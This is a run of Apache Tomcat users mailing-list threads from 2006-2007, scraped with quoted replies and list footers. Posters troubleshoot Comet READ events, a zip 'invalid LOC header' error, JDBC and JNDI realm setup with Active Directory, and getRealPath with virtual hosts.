>>> ServletException { >>> > HttpServletRequest request = event.getHttpServletRequest(); >>> > >>> > >>> > >>> > but my service method still invoked >>> > is any settings should take? >>> > >>> > >>> > this example from: >>> > http://journal.mycom.co.jp/special/2007/tomcat6/014.html >>> > (its japanese, but you could see in the black text areas) >>> > >>> > regards, >>> > Szabi >>> > >>> > 35% kedvezmény a Partvonal Kiadó köteteire - hogy minden olvasó >>> kézhez kapja a maga könyvét. >>> > http://ad.adverticum.net/b/cl,1,6022,172067,232579/click.prm >>> > >>> > >>> > >>> >>> >>> > >>> > No virus found in this incoming message. >>> > Checked by AVG Free Edition. >>> > Version: 7.5.472 / Virus Database: 269.8.0/821 - Release Date: >>> 5/27/2007 3:05 PM >>> > >>> >>> >>> - >>> To start a new topic, e-mail: users@tomcat.apache.org >>> To unsubscribe, e-mail: [EMAIL PROTECTED] >>> For additional commands, e-mail: [EMAIL PROTECTED] >>> >>> >> >> - >> To start a new topic, e-mail: users@tomcat.apache.org >> To unsubscribe, e-mail: [EMAIL PROTECTED] >> For additional commands, e-mail: [EMAIL PROTECTED] >> >> >> > > > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: comet read event
Yes, I'm using the NIO connector. Here is the config line from my server.xml: Are there any other configuration options I need to set? Peter Filip Hanik - Dev Lists wrote: > and you are using the APR or the NIO connector right? > > Filip > > Peter Warren wrote: >> Thanks for the suggestion. I changed the comet test servlet to read >> directly from the input stream as shown in the advanced io example. I'm >> still seeing the same behavior. No comet read event gets generated on >> the server, only the begin event which contains the client's first >> message. The client then sends its second message and blocks waiting >> for the server. No events are generated on the server in response to >> the client's second message. Any other tips for me? >> >> Thanks, >> Peter >> >> from the CometTestServlet: >> >> public void event(CometEvent cometEvent) throws IOException, >> ServletException { >> ... >> if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { >> log("Begin for session: " + >> request.getSession(true).getId()); >> String clientMessage = read(request); >> if (clientMessage != null && clientMessage.length() > 0) { >> response.getWriter().println(clientMessage); >> response.getWriter().flush(); >> } >> } >> ... >> >> private String read(HttpServletRequest request) throws IOException { >> InputStream is = request.getInputStream(); >> StringBuffer inputBuffer = new StringBuffer(); >> byte[] buf = new byte[512]; >> do { >> int n = is.read(buf); // can throw an IOException >> if (n > 0) { >> inputBuffer.append(new String(buf, 0, n)); >> log("Read " + n + " bytes: " + new String(buf, 0, n) + " >> for session: " >> + request.getSession(true).getId()); >> } else if (n < 0) { >> log("comet read error"); >> } >> } while (is.available() > 0); >> return inputBuffer.toString(); >> } >> >> from the CometTestClient: >> >> public void test() throws IOException { >> out.println("test 1"); >> out.flush(); >> >> String line = read(urlConn.getInputStream()); >> System.out.println(line); >> >> out.println("test 2"); >> out.flush(); >> >> line = read(urlConn.getInputStream()); >> System.out.println(line); >> >> out.close(); >> urlConn.disconnect(); >> } >> >> private String read(InputStream is) throws IOException { >> StringBuffer inputBuffer = new StringBuffer(); >> byte[] buf = new byte[512]; >> do { >> int n = is.read(buf); // can throw an IOException >> if (n > 0) { >> inputBuffer.append(new String(buf, 0, n)); >> } else if (n < 0) { >> return ("read error"); >> } >> } while (is.available() > 0); >> return inputBuffer.toString(); >> } >> >> Filip Hanik - Dev Lists wrote: >> >>> take a look at the documentation, the way you are reading it is >>> incorrect. >>> you need to take advantage of the available() method >>> >>> Filip >>> >>> Peter Warren wrote: >>> >>>> My BEGIN block in my comet servlet now looks like the code below >>>> (added >>>> a while loop to read until the buffer is empty). Is that what you had >>>> in mind? The buffer in the BEGIN event only contains the client's >>>> first >>>> message. Am I not emptying the buffer correctly? Although, I >>>> wouldn't >>>> expect the buffer to contain the client's second message since the >>>> client blocks for an ack from the server before sending its second >>>> message. Any other thoughts on what happens to the client's second >>>> message and why no READ event is generated? >>>> >>>> Thanks for your help, >>>> Peter >>>> >>>> if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { >>>> log("Begin for
Re: comet read event
Thanks for the suggestion. I changed the comet test servlet to read directly from the input stream as shown in the advanced io example. I'm still seeing the same behavior. No comet read event gets generated on the server, only the begin event which contains the client's first message. The client then sends its second message and blocks waiting for the server. No events are generated on the server in response to the client's second message. Any other tips for me? Thanks, Peter from the CometTestServlet: public void event(CometEvent cometEvent) throws IOException, ServletException { ... if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { log("Begin for session: " + request.getSession(true).getId()); String clientMessage = read(request); if (clientMessage != null && clientMessage.length() > 0) { response.getWriter().println(clientMessage); response.getWriter().flush(); } } ... private String read(HttpServletRequest request) throws IOException { InputStream is = request.getInputStream(); StringBuffer inputBuffer = new StringBuffer(); byte[] buf = new byte[512]; do { int n = is.read(buf); // can throw an IOException if (n > 0) { inputBuffer.append(new String(buf, 0, n)); log("Read " + n + " bytes: " + new String(buf, 0, n) + " for session: " + request.getSession(true).getId()); } else if (n < 0) { log("comet read error"); } } while (is.available() > 0); return inputBuffer.toString(); } from the CometTestClient: public void test() throws IOException { out.println("test 1"); out.flush(); String line = read(urlConn.getInputStream()); System.out.println(line); out.println("test 2"); out.flush(); line = read(urlConn.getInputStream()); System.out.println(line); out.close(); urlConn.disconnect(); } private String read(InputStream is) throws IOException { StringBuffer inputBuffer = new StringBuffer(); byte[] buf = new byte[512]; do { int n = is.read(buf); // can throw an IOException if (n > 0) { inputBuffer.append(new String(buf, 0, n)); } else if (n < 0) { return ("read error"); } } while (is.available() > 0); return inputBuffer.toString(); } Filip Hanik - Dev Lists wrote: > take a look at the documentation, the way you are reading it is > incorrect. > you need to take advantage of the available() method > > Filip > > Peter Warren wrote: >> My BEGIN block in my comet servlet now looks like the code below (added >> a while loop to read until the buffer is empty). Is that what you had >> in mind? The buffer in the BEGIN event only contains the client's first >> message. Am I not emptying the buffer correctly? Although, I wouldn't >> expect the buffer to contain the client's second message since the >> client blocks for an ack from the server before sending its second >> message. Any other thoughts on what happens to the client's second >> message and why no READ event is generated? >> >> Thanks for your help, >> Peter >> >> if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { >> log("Begin for session: " + >> request.getSession(true).getId()); >> BufferedReader reader = >> cometEvent.getHttpServletRequest().getReader(); >> String line = null; >> while ((line = reader.readLine()) != null) { >> log("servlet received: " + line); >> >> cometEvent.getHttpServletResponse().getWriter().println("servlet >> received: " + line); >> cometEvent.getHttpServletResponse().getWriter().flush(); >> } >> } >> >> >>> Filip Hanik wrote: >>> >>> it could be because the data from the request already came in with the >>> >> request. >> >>> when the BEGIN happens, perform the actions as if there was a READ as >>> >> well, ie, empty out the buffer. >> >>> Filip >>> >> >> Peter Warren wrote: >> >>> The following client code generates a comet BEGIN event on the server >>> but not a subsequent READ event, as I was expecting. How come? Is my >>> code wrong? Are my expect
comet read event
My BEGIN block in my comet servlet now looks like the code below (added a while loop to read until the buffer is empty). Is that what you had in mind? The buffer in the BEGIN event only contains the client's first message. Am I not emptying the buffer correctly? Although, I wouldn't expect the buffer to contain the client's second message since the client blocks for an ack from the server before sending its second message. Any other thoughts on what happens to the client's second message and why no READ event is generated? Thanks for your help, Peter if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { log("Begin for session: " + request.getSession(true).getId()); BufferedReader reader = cometEvent.getHttpServletRequest().getReader(); String line = null; while ((line = reader.readLine()) != null) { log("servlet received: " + line); cometEvent.getHttpServletResponse().getWriter().println("servlet received: " + line); cometEvent.getHttpServletResponse().getWriter().flush(); } } > Filip Hanik wrote: > > it could be because the data from the request already came in with the request. > when the BEGIN happens, perform the actions as if there was a READ as well, ie, empty out the buffer. > > Filip Peter Warren wrote: > The following client code generates a comet BEGIN event on the server > but not a subsequent READ event, as I was expecting. How come? Is my > code wrong? Are my expectations wrong? See sequence of events > commented in code below. > > // client test method that sends messages to server and listens for > responses > public void test() throws IOException { > out.println("test 1"); > out.flush(); > > // server receives client's message, generates a BEGIN event, > and sends response to client > > in = new BufferedReader(new > InputStreamReader(urlConn.getInputStream())); > System.out.println(in.readLine()); > > // client receives server's response and prints it > > out.println("test 2"); > out.flush(); > > System.out.println(in.readLine()); > > // client code blocks here waiting for server response. > // server never generates a READ event. How come? > // Does the HttpURLConnection (see full code below) need to be > set up differently? > // Am I using the PrintWriter incorrectly when sending to the > comet servlet? > > out.close(); > urlConn.disconnect(); > } > > Thanks for any help, > Peter > > -- system -- > > using: > tomcat 6.0.13 on windows xp sp 2 > java 1.6.0_01 > > -- test client & comet servlet source below -- > > ## begin test client ## > > import java.io.BufferedReader; > import java.io.IOException; > import java.io.InputStreamReader; > import java.io.PrintWriter; > import java.net.HttpURLConnection; > import java.net.URL; > > public class CometTestClient { > > private HttpURLConnection urlConn; > > private PrintWriter out; > > private BufferedReader in; > > public static void main(String[] args) throws Exception { > CometTestClient test = new CometTestClient(); > test.test(); > } > > public CometTestClient() throws IOException { > initConnection(); > } > > private void initConnection() throws IOException { > URL url = new URL("http://127.0.0.1/CometTest";); > urlConn = (HttpURLConnection) url.openConnection(); > urlConn.setDoInput(true); > urlConn.setDoOutput(true); > urlConn.connect(); > out = new PrintWriter(urlConn.getOutputStream()); > } > > public void test() throws IOException { > out.println("test 1"); > out.flush(); > > in = new BufferedReader(new > InputStreamReader(urlConn.getInputStream())); > System.out.println(in.readLine()); > > out.println("test 2"); > out.flush(); > > System.out.println(in.readLine()); > > out.close(); > urlConn.disconnect(); > } > } > > ## end test client ## > > ## begin comet servlet ## > > import java.io.BufferedReader; > import java.io.IOException; > > import javax.servlet.ServletException; > import javax.servlet.http.HttpServlet; > import javax.servlet.http.HttpServletRequest; > > import org.apache.catalina.CometEvent; > import org.apache.catalina.CometProcessor; > > public class CometTestServlet extends HttpServlet impleme
comet read event
The following client code generates a comet BEGIN event on the server but not a subsequent READ event, as I was expecting. How come? Is my code wrong? Are my expectations wrong? See sequence of events commented in code below. // client test method that sends messages to server and listens for responses public void test() throws IOException { out.println("test 1"); out.flush(); // server receives client's message, generates a BEGIN event, and sends response to client in = new BufferedReader(new InputStreamReader(urlConn.getInputStream())); System.out.println(in.readLine()); // client receives server's response and prints it out.println("test 2"); out.flush(); System.out.println(in.readLine()); // client code blocks here waiting for server response. // server never generates a READ event. How come? // Does the HttpURLConnection (see full code below) need to be set up differently? // Am I using the PrintWriter incorrectly when sending to the comet servlet? out.close(); urlConn.disconnect(); } Thanks for any help, Peter -- system -- using: tomcat 6.0.13 on windows xp sp 2 java 1.6.0_01 -- test client & comet servlet source below -- ## begin test client ## import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.HttpURLConnection; import java.net.URL; public class CometTestClient { private HttpURLConnection urlConn; private PrintWriter out; private BufferedReader in; public static void main(String[] args) throws Exception { CometTestClient test = new CometTestClient(); test.test(); } public CometTestClient() throws IOException { initConnection(); } private void initConnection() throws IOException { URL url = new URL("http://127.0.0.1/CometTest";); urlConn = (HttpURLConnection) url.openConnection(); urlConn.setDoInput(true); urlConn.setDoOutput(true); urlConn.connect(); out = new PrintWriter(urlConn.getOutputStream()); } public void test() throws IOException { out.println("test 1"); out.flush(); in = new BufferedReader(new InputStreamReader(urlConn.getInputStream())); System.out.println(in.readLine()); out.println("test 2"); out.flush(); System.out.println(in.readLine()); out.close(); urlConn.disconnect(); } } ## end test client ## ## begin comet servlet ## import java.io.BufferedReader; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import org.apache.catalina.CometEvent; import org.apache.catalina.CometProcessor; public class CometTestServlet extends HttpServlet implements CometProcessor { private static final long serialVersionUID = 5472498184127924791L; public void event(CometEvent cometEvent) throws IOException, ServletException { HttpServletRequest request = cometEvent.getHttpServletRequest(); // don't want timeout events cometEvent.setTimeout(100); if (cometEvent.getEventType() == CometEvent.EventType.BEGIN) { log("Begin for session: " + request.getSession(true).getId()); BufferedReader reader = cometEvent.getHttpServletRequest().getReader(); String line = reader.readLine(); if (line != null) { log("servlet received: " + line); cometEvent.getHttpServletResponse().getWriter().println("servlet received: " + line); cometEvent.getHttpServletResponse().getWriter().flush(); } else { cometEvent.close(); } } else if (cometEvent.getEventType() == CometEvent.EventType.ERROR) { log("Error for session: " + request.getSession(true).getId() + ", " + cometEvent.getEventSubType()); cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.END) { log("End for session: " + request.getSession(true).getId()); cometEvent.close(); } else if (cometEvent.getEventType() == CometEvent.EventType.READ) { log("Read for session: " + request.getSession(true).getId()); BufferedReader reader = cometEvent.getHttpServletRequest().getReader(); String line = reader.readLine(); if (line != null) { cometEvent.getHttpServletResponse().getWriter().println("servlet received: " + line); } else { cometEvent.close(); } } } } ## end comet servlet ## - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional comman
RE: Replacing tomcat-users.xml
Take a look at this HOWTO. It describes how to configure security/realms to fit your needs: http://tomcat.apache.org/tomcat-5.5-doc/realm-howto.html cheers - Warren -Original Message- From: Jean-Sebastien Pilon [mailto:[EMAIL PROTECTED] Sent: Wednesday, March 28, 2007 12:08 AM To: Tomcat Users List Subject: Replacing tomcat-users.xml Hello, I would like to replace the tomcat-users.xml file with something like auth_ldap on apache's httpd. I want to integrate the tomcat access to the manager, etc.. To Active directory. If any one has any hints, it would be appreciated. TIA NOTICE: This email contains privileged and confidential information and is intended only for the individual to whom it is addressed. If you are not the named addressee, you should not disseminate, distribute or copy this e-mail. Please notify the sender immediately by e-mail if you have received this transmission by mistake and delete this communication from your system. E-mail transmission cannot be guaranteed to be secured or error-free as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. AVIS: Le présent courriel contient des renseignements de nature privilégiée et confidentielle et n'est destiné qu'à la personne à qui il est adressé. Si vous n'êtes pas le destinataire prévu, vous êtes par les présentes avisés que toute diffusion, distribution ou reproduction de cette communication est strictement interdite. Si vous avez reçu ce courriel par erreur, veuillez en aviser immédiatement l'expéditeur et le supprimer de votre système. Notez que la transmission de courriel ne peut en aucun cas être considéré comme inviolable ou exempt d'erreur puisque les informations qu'il contient pourraient être interceptés, corrompues, perdues, détruites, arrivées en retard ou incomplètes ou contenir un virus. - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
invalid LOC header (bad signature) when running in servlet only
>> Subject: invalid LOC header (bad signature) when running in >> servlet only >> >> message = invalid LOC header (bad signature) >> > > This is an indication of a corrupted .zip file. ZIP files can be read > either sequentially or via the table of contents at the end of the file; > the LOC header is only used when access is via the TOC. The > java.util.zip classes use the TOC, while many other mechanisms use > sequential access and do not encounter the invalid LOC header. > > One way this corruption can be introduced is by doing an FTP of the file > in ASCII mode using a Windows FTP client; this has the annoying habit of > converting LF characters into CR/LF sequences (or vice versa), which is > not something you want to do with a ZIP file. You should be able to get > rid of the error by rebuilding the file. > > Chuck, Thank you for the description of how the TOC is accessed at least now I may have a way to work around the issue. But it does not answer the basic question: Why does this only occur in the servlet environment and not in the stand alone environment even when reading the file from the same location? It is as though the servlet environment is modifying or truncating the end of the file only during the TOC read since the MD5 checks are the same in both environments. I suppose it might have something to do with the JarURLConnection implementation. Any ideas how to implement a valid JarFile from an input stream? Perhaps I can just work around the possible JarURLConnection defect. Claude - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
invalid LOC header (bad signature) when running in servlet only
I have an web application that takes OpenOffice 1.1 files and converts them to web pages. I have a single sxw file that causes an exception but only when run in the servlet. When running in the servlet I get: java.lang.InternalError: jzentry == 0, jzfile = 138986592, total = 6, name = /content/xenei.net/coffeehouse/docs/calendar/Feb2007.sxw, i = 3, message = invalid LOC header (bad signature) java.util.zip.ZipFile$3.nextElement(ZipFile.java:429) java.util.zip.ZipFile$3.nextElement(ZipFile.java:415) java.util.jar.JarFile$1.nextElement(JarFile.java:217) java.util.jar.JarFile$1.nextElement(JarFile.java:216) org.xenei.cm.servlets.jarTest.list(jarTest.java:74) org.xenei.cm.servlets.jarTest.doGet(jarTest.java:84) javax.servlet.http.HttpServlet.service(HttpServlet.java:689) javax.servlet.http.HttpServlet.service(HttpServlet.java:802) I have isolated the code in a small servlet: public class jarTest extends HttpServlet { public jarTest() { } private void digest(HttpServletRequest req, HttpServletResponse resp) throws IOException, NoSuchAlgorithmException { String urlString = req.getParameter("digest"); PrintWriter writer = resp.getWriter(); writer.println( "=> "+urlString ); URL myURL = new URL( "file:"+urlString ); MessageDigest md = MessageDigest.getInstance("MD5"); try { DigestInputStream dis = new DigestInputStream( myURL.openStream(), md ); byte[] buffer = new byte[1024]; BufferedInputStream bis = new BufferedInputStream( dis ); while (bis.read(buffer, 0, 1024 ) > -1) { // do nothing } byte[] digest = dis.getMessageDigest().digest(); writer.println( myURL.toString()+" digest is: "+Hex.encode( digest ) ); } catch (Exception e) { writer.println( "ERROR" ); e.printStackTrace( writer ); } } private void list(HttpServletRequest req, HttpServletResponse resp) throws IOException { String urlString = req.getParameter("url"); PrintWriter writer = resp.getWriter(); writer.println( "=> "+urlString ); URL myURL = new URL( "jar:file:"+urlString+"!/" ); writer.println( "Opening URL: "+myURL ); JarFile jarFile; // open the jarfile. JarURLConnection conn = (JarURLConnection) myURL.openConnection(); jarFile = conn.getJarFile(); Enumeration entries = jarFile.entries(); JarEntry entry; while (entries.hasMoreElements() ) { entry = (JarEntry)entries.nextElement(); // <--- Error occurs here writer.println( "processing: "+entry.getName() ); } writer.println( "<=" ); } protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (req.getParameter("url") != null) { list( req, resp ); } if (req.getParameter("digest") != null) { try { digest( req, resp ); } catch (NoSuchAlgorithmException e) { // TODO Auto-generated catch block throw new ServletException( e.getMessage(), e ); } } } } This servlet will either list the the contents of the jar (sxw) file with the url= argument or provide the MD5 digest for the contents of the file if called with the digest= argument. I have placed the same code in a stand alone app and it will read the file without problem. The MD5 digest of the bytes is the same both in the servlet and in the stand alone. This fails only in the servlet and, thus far, only with the one file. All other tools that can read zip files that I have access to are able to read the file, furthermore OpenOffice 1.1 can read it as well. I have not tried to rewrite it as I want to make sure that I understand why the servlet fails in this case so that I can attempt to account for it in future cases. Any help with this would be appreciated. I will gladly provide the servlet, stand alone, and sxw file for anyone that is interested in looking at this problem. Many Thanks, Claude Warren - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: JDBCRealm
> > From: Wojtek Kusch <[EMAIL PROTECTED]> > Date: 2006/12/19 Tue AM 11:52:20 EST > To: users@tomcat.apache.org > Subject: JDBCRealm > > Hallo! > > I am a newbie. I am defining a JDBCRealm for my web application in the > server.xml: > > driverName="sun.jdbc.odbc.JdbcOdbcDriver" > connectionURL="jdbc:odbc:CATALINA" > userTable="USER" userNameCol="username" > userCredCol="userpass" > userRoleTable="USER_ROLE" roleNameCol="role" /> > Wojtek, I'm a newbie too. I think that if you want to use this realm for a specific application, you should delete it from your server.xml and create a context.xml file in the META-INF folder inside your webapp's directory. Using the docs, here's one I created for MySQL which works. This will override the global user database (which is still in your server.xml) specifically for your app. connectionName="superman" connectionPassword="loislane" connectionURL="jdbc:mysql://localhost/authority" driverName="org.gjt.mm.mysql.Driver" roleNameCol="role_name" userCredCol="user_pass" userNameCol="user_name" userRoleTable="user_roles" userTable="users"/> Of course, you'll need to change the driver and connection information and then restart tomcat. Let me know if this helps. > - > To start a new topic, e-mail: users@tomcat.apache.org > To unsubscribe, e-mail: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: question about context file entries and TC 5.5
look in the META-INF folder inside your webapp's directory maybe > > From: "Michael Hencin" <[EMAIL PROTECTED]> > Date: 2006/12/12 Tue AM 10:47:58 EST > To: "'Tomcat Users List'" > Subject: question about context file entries and TC 5.5 > > I am starting to use TC 5.5, JVM 1.5.0_06-b05 on XP. I use the TC admin to > edit the context for one of my webapps. I add a datasource (jdbc/mywebapp), > save and commit the changes. While I can see the entries while using the > admin, I cannot discern where they have been stored. I looked in the > server.xml, there is no context file created in "conf\Catalina\localhost" In > TC 5.0, I would have seen the entries added into the > conf\Catalina\localhost\mywebapp.xml. > > > > I reviewed the http://tomcat.apache.org/tomcat-5.5-doc/config/context.html, > but cannot see "Where" it would store entries added via the admin utility. > Where would these be? > > > > I notice after I make a change in the admin, the three files in the > conf\catalin\localhost > > > > Manager.xml, host-manager.xml and admin.xml have mod dates corresponding to > the time I commit my changes. But non have any entries that would resemble > my additions. > > > > > > > > Michael Hencin > > Enginuity Development > > 815-505-5028 > > > > > - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
java.io.FileNotFoundException: webapp not found
I keep getting a java.io.FileNotFoundException when Tomcat starts. I will get one for each app I have. My app still works though. I am running Tomcat on a Windows XP box.What do I need to do to fix this? Thanks, Warren Nov 22, 2006 6:55:44 PM org.apache.coyote.http11.Http11Protocol init INFO: Initializing Coyote HTTP/1.1 on http-8080 Nov 22, 2006 6:55:44 PM org.apache.catalina.startup.Catalina load INFO: Initialization processed in 1452 ms Nov 22, 2006 6:55:44 PM org.apache.catalina.core.StandardService start INFO: Starting service Catalina Nov 22, 2006 6:55:44 PM org.apache.catalina.core.StandardEngine start INFO: Starting Servlet Engine: Apache Tomcat/5.5.3 Nov 22, 2006 6:55:44 PM org.apache.catalina.core.StandardHost start INFO: XML validation disabled java.io.FileNotFoundException: webapps\myapp (The system cannot find the path specified) at java.io.FileInputStream.open(Native Method) at java.io.FileInputStream.(FileInputStream.java:106) at org.apache.catalina.startup.ExpandWar.copyInternal(ExpandWar.java:226) at org.apache.catalina.startup.ExpandWar.copy(ExpandWar.java:192) at org.apache.catalina.startup.ContextConfig.antiLocking(ContextConfig.java:878) at org.apache.catalina.startup.ContextConfig.beforeStart(ContextConfig.java:915) at org.apache.catalina.startup.ContextConfig.lifecycleEvent(ContextConfig.java:251) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:119) at org.apache.catalina.core.StandardContext.start(StandardContext.java:3830) at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:755) at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:739) at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:525) at org.apache.catalina.startup.HostConfig.deployDirectory(HostConfig.java:886) at org.apache.catalina.startup.HostConfig.deployDirectories(HostConfig.java:849) at org.apache.catalina.startup.HostConfig.deployApps(HostConfig.java:474) at org.apache.catalina.startup.HostConfig.start(HostConfig.java:1079) at org.apache.catalina.startup.HostConfig.lifecycleEvent(HostConfig.java:310) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:119) at org.apache.catalina.core.ContainerBase.start(ContainerBase.java:1011) at org.apache.catalina.core.StandardHost.start(StandardHost.java:718) at org.apache.catalina.core.ContainerBase.start(ContainerBase.java:1003) at org.apache.catalina.core.StandardEngine.start(StandardEngine.java:437) at org.apache.catalina.core.StandardService.start(StandardService.java:450) at org.apache.catalina.core.StandardServer.start(StandardServer.java:2009) at org.apache.catalina.startup.Catalina.start(Catalina.java:538) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:585) at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:271) at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:409) Nov 22, 2006 6:55:58 PM org.apache.coyote.http11.Http11Protocol start INFO: Starting Coyote HTTP/1.1 on http-8080 Nov 22, 2006 6:55:59 PM org.apache.jk.common.ChannelSocket init INFO: JK2: ajp13 listening on /0.0.0.0:8009 Nov 22, 2006 6:55:59 PM org.apache.jk.server.JkMain start INFO: Jk running ID=0 time=0/30 config=null Nov 22, 2006 6:55:59 PM org.apache.catalina.startup.Catalina start INFO: Server startup in 14881 ms - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: virtual host getRealPath
Chris, The application is an image gallery. I want to be able to drop images into directories anywhere underneath the "gallery" webapp directory and have the images automatically displayed as thumbnails in a table. Users can click on a thumbnail for the full-size image. I have an index.jsp file that creates thumbnails for all the images in a directory and then generates the html to display them. Since I don't want to have to drop an index.jsp file into every image directory, I set up a forwarding filter that forwards any request for a directory to "/index.jsp" (the filter ignores other request urls). To get the real path of the directory that corresponds to the requested url, I use: String servletPath = (String) request.getAttribute("javax.servlet.forward.servlet_path"); String realPath = application.getRealPath(servletPath); > You still have to add the request's URI to the end of that. I don't seem to. For example, a request for: http://www.nomad.org/gallery/test yields a servlet path of "/test/" and a real path of: C:\Documents and Settings\Peter\My Documents\dev\webapps\www.nomad.org\gallery\pg which is just what I need. Now with the real path, I can process the target image directory by making thumbnails if necessary and laying out the html thumbnail table. It's up and working at http://www.nomad.org/gallery. Peter - Cheap Talk? Check out Yahoo! Messenger's low PC-to-Phone call rates.
Re: virtual host getRealPath
Hi Chris, Thanks for your response. After poking around a little more, it seems that the call application.getRealPath(request.getServletPath()) provides the proper local file path for me. Any reason not to use that? Peter Christopher Schultz <[EMAIL PROTECTED]> wrote: Peter, > I'm trying to figure out why I get repeated directory names when calling > "application.getRealPath(request.getRequestURI())" from an index.jsp > file. Clearly there's something about virtual hosts and contexts that > I'm missing. I suppose you /could/ do this, but usually URIs and directory structures usually don't map exactly to one another. > A request for the url: http://www.nomad.org/gallery/ > C:\Documents and Settings\Peter\My > Documents\dev\webapps\www.nomad.org\gallery\gallery Yeah. Since your URL contains the prefix "/gallery" already, it's being added. When you call "getRealPath", you're getting something rooted in "...\dev\webapps\www.nomad.org\gallery", which is the root of your webapp. Since "/gallery" in the URI, too, you're doubling it. You need to clip out the context path. This ought to do it for you: String path = request.getRequestURI(); if(path.startsWith(request.getContextPath())) path = path.substring(request.getContextPath()); path = application.getRealPath(path); Note that letting users' URIs drive files being loaded from the disk might be considered a security risk. I don't know your deployment model or anything like that; I just figured I'd mention it. Hope that helps, -chris - Cheap Talk? Check out Yahoo! Messenger's low PC-to-Phone call rates.
virtual host getRealPath
I'm trying to figure out why I get repeated directory names when calling "application.getRealPath(request.getRequestURI())" from an index.jsp file. Clearly there's something about virtual hosts and contexts that I'm missing. Using Tomcat 5.5 & 6.0 in standalone mode under Windows XP, I see the following behavior: A request for the url: http://www.nomad.org/gallery/ yields a real path of: C:\Documents and Settings\Peter\My Documents\dev\webapps\www.nomad.org\gallery\gallery (note the duplication of the gallery directory) Why? In my server.xml file I defined this virtual host: If I don't define any contexts, the problem occurs. The problem also occurs if I have either of the following contexts defined for this host: or If I set the gallery context to: the duplicate folder name goes away, but my gallery web.xml does not get read. Thanks for any help, Peter - Cheap Talk? Check out Yahoo! Messenger's low PC-to-Phone call rates.
Re: JNDI Realm and Active Directory root search
With that lead, I figured out what was going on. Two issues: - referrals="follow" is required if you search from the top of an ldap tree instead of a specific OU. That property is not documented in Tomcat docs as it might be: http://tomcat.apache.org/tomcat-5.5-doc/realm-howto.html#JNDIRealm Without it, you'll get a javax.naming.PartialResultException: Unprocessed Continuation Reference(s); remaining name 'dc=company,dc=com' - The referral URL returned by AD is not why one might expect. If your Tomcat server is NOT using DNS provided by the AD server you will likely run into a problem. When searching LDAP from the root, you will get a referral reply from AD that has a server DNS name of JUST the domain name (ie company.com). NOT the initial server name you used in your connectionURL. If your DNS or your local hosts files does not resolve that root domain name to an AD server, it will throw a javax.naming.PartialResultException [Root exception is javax.naming.CommunicationException: company.com:389 [Root exception is java.net.UnknownHostException: company.com]] I've tried to update this integration guide. Hopefully "The Google" will help others in the future: http://www.jspwiki.org/wiki/ActiveDirectoryIntegration > http://www.mail-archive.com/cas@tp.its.yale.edu/msg00797.html > > In this case I suggest adjusting the local hosts file to fool DNS > (c:\windows\system32\drivers\etc\hosts). Find out the wrong DNS name in > the referral and point that name to your real AD. > > -- Velpi > >> I'm trying to get a JNDI Realm working as one might expect with Active >> Directory. >> >> Tomcat 5.5.20 >> Java 1.5.06 >> Windows 2000 Server >> >> The basic issue is that searching from a domain root "dc=company,dc=com" and >> using userSubtree="true" results in: >> >> Oct 31, 2006 3:18:20 PM org.apache.catalina.realm.JNDIRealm authenticate >> SEVERE: Exception performing authentication >> javax.naming.PartialResultException: Unprocessed Continuation Reference(s); >> remaining name 'dc=company,dc=com' >> >> If I use a more specific search base of "ou=Employees,dc=company,dc=com" and >> then the userSubtree is irrelevant, it works fine. >> >> Problem is our AD structure demands that users be in two different OU's and >> thus the search must be done from the root. I understand that AD does not >> handle referrals as expected and that could be contributing. - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
JNDI Realm and Active Directory root search
